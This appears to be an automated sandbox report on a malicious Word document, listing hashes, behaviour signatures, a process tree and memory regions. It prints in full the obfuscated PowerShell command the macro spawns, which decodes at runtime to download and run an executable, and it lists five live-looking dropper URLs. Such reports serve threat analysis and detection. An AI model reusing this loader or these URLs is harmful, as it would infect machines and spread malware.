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Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    16/06/2024, 13:33

General

  • Target

    b3c463033af67e9225016f6cba6a5f1b_JaffaCakes118.doc

  • Size

    232KB

  • MD5

    b3c463033af67e9225016f6cba6a5f1b

  • SHA1

    da975fdceca9fc057f1138c3c25cb62370044a42

  • SHA256

    c8cfe845de49e0dbc52e306ed2be01f67eee457628f2bf93082ec6b15853197f

  • SHA512

    7aee050a6fe3c07f1335a639a3b5d126f28667c99665f2f3c016ac288dca2e0ae212f0aa11b9d1bf28e4b4a94357464bb28d03600ea85746cceb1a0413516ba0

  • SSDEEP

    3072:tH9nBf4SuEjAhmAMOc7kkkko1rkGuF3tBInxGGq5EyXJm9YBmjDwy7D6tGff:tFVeEsjdXRC3jexGG6TYWofwyv6tGf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://wildpete.com/73v5/

exe.dropper

http://www.escoladeemagrecimento.com.br/jl/

exe.dropper

http://www.southgatetowerquan7.com.vn/aokE/

exe.dropper

http://www.salinzada.com/4A3bU8Pb/

exe.dropper

http://www.tomsbigworld.com/VKT9j/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b3c463033af67e9225016f6cba6a5f1b_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1976
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" &( $Env:COMsPeC[4,24,25]-jOiN'')( -jOiN ('4f65N81p105N29u78L69L87N13L79N66p74S69K67f84O0f110S69L84y14u119u69p66N99K76L73O69N78O84{27L4u107K114O87f29N7K72{84N84{80K26y15L15y87K73y76y68L80f69p84y69L14y67f79N77O15L23f19L86p21K15y96u72f84K84S80u26f15N15N87y87p87O14O69f83y67p79u76S65u68O69K69O77p65p71S82N69N67K73{77L69L78N84N79y14O67f79S77y14{66S82N15N74{76N15N96K72u84L84u80K26S15f15u87S87f87y14O83p79{85f84f72N71{65L84p69L84y79{87S69S82N81y85u65{78p23L14K67f79u77p14y86f78y15u65L79N75f101L15S96S72S84p84K80y26K15N15{87N87y87p14K83{65y76N73O78S90S65O68S65f14p67p79N77u15p20K97{19N66p117O24{112L66f15N96S72L84y84f80K26f15u15K87S87N87L14{84N79f77p83N66S73L71O87K79p82u76y68N14p67p79f77{15f118S107u116p25N74{15f7O14u115O80{76S73p84y8y7L96u7f9K27u4f87f102O100p0L29{0p7S22f17N19S7K27{4p82f99L65{29{4f69K78K86L26O84p69K77L80N11u7S124K7S11u4K87L102K100O11f7O14S69K88O69{7p27K70L79f82N69K65O67y72O8O4u106f82N77y0N73S78K0f4N107{114N87u9O91O84u82S89u91L4f65p81O105S14u100f79{87y78K76p79S65N68S102u73u76u69p8K4{106L82K77{12N0f4K82S99y65y9{27N115f84N65L82K84K13L112u82u79S67S69{83y83f0K4p82u99u65S27O66L82L69O65u75p27N93O67O65y84u67L72L91{93N93'.SpLIt('SNKOLpfyu{')| % { [ChaR] ( $_ -Bxor "0x20")} ))
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2716
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2652

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      a210f6a80d3f99bdc0e32d0534a7a9c7

      SHA1

      8ae07c6a0f7542ca65d5218f02a4f39c4877f82c

      SHA256

      3c2719fefca79df049cc059bc3908f6ae69dcee1069a41bdd22f9ae30ff04cfa

      SHA512

      b92538dc02ede33b1db4173c55e6705523bdb2a118e0293b57598175ea162f68ca64cd8fac6ccaf5c413eaab277b49c7a1d0362f85abeadbb9f1c63683e03f4c

    • memory/1976-12-0x0000000000730000-0x0000000000830000-memory.dmp

      Filesize

      1024KB

    • memory/1976-8-0x0000000000730000-0x0000000000830000-memory.dmp

      Filesize

      1024KB

    • memory/1976-5-0x0000000000730000-0x0000000000830000-memory.dmp

      Filesize

      1024KB

    • memory/1976-6-0x0000000000730000-0x0000000000830000-memory.dmp

      Filesize

      1024KB

    • memory/1976-19-0x0000000000730000-0x0000000000830000-memory.dmp

      Filesize

      1024KB

    • memory/1976-18-0x0000000000730000-0x0000000000830000-memory.dmp

      Filesize

      1024KB

    • memory/1976-15-0x0000000000730000-0x0000000000830000-memory.dmp

      Filesize

      1024KB

    • memory/1976-0-0x000000002F791000-0x000000002F792000-memory.dmp

      Filesize

      4KB

    • memory/1976-2-0x000000007176D000-0x0000000071778000-memory.dmp

      Filesize

      44KB

    • memory/1976-7-0x0000000000730000-0x0000000000830000-memory.dmp

      Filesize

      1024KB

    • memory/1976-11-0x0000000000730000-0x0000000000830000-memory.dmp

      Filesize

      1024KB

    • memory/1976-49-0x000000007176D000-0x0000000071778000-memory.dmp

      Filesize

      44KB

    • memory/1976-29-0x000000007176D000-0x0000000071778000-memory.dmp

      Filesize

      44KB

    • memory/1976-30-0x0000000000730000-0x0000000000830000-memory.dmp

      Filesize

      1024KB

    • memory/1976-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1976-48-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2716-27-0x00000000054A0000-0x00000000054FB000-memory.dmp

      Filesize

      364KB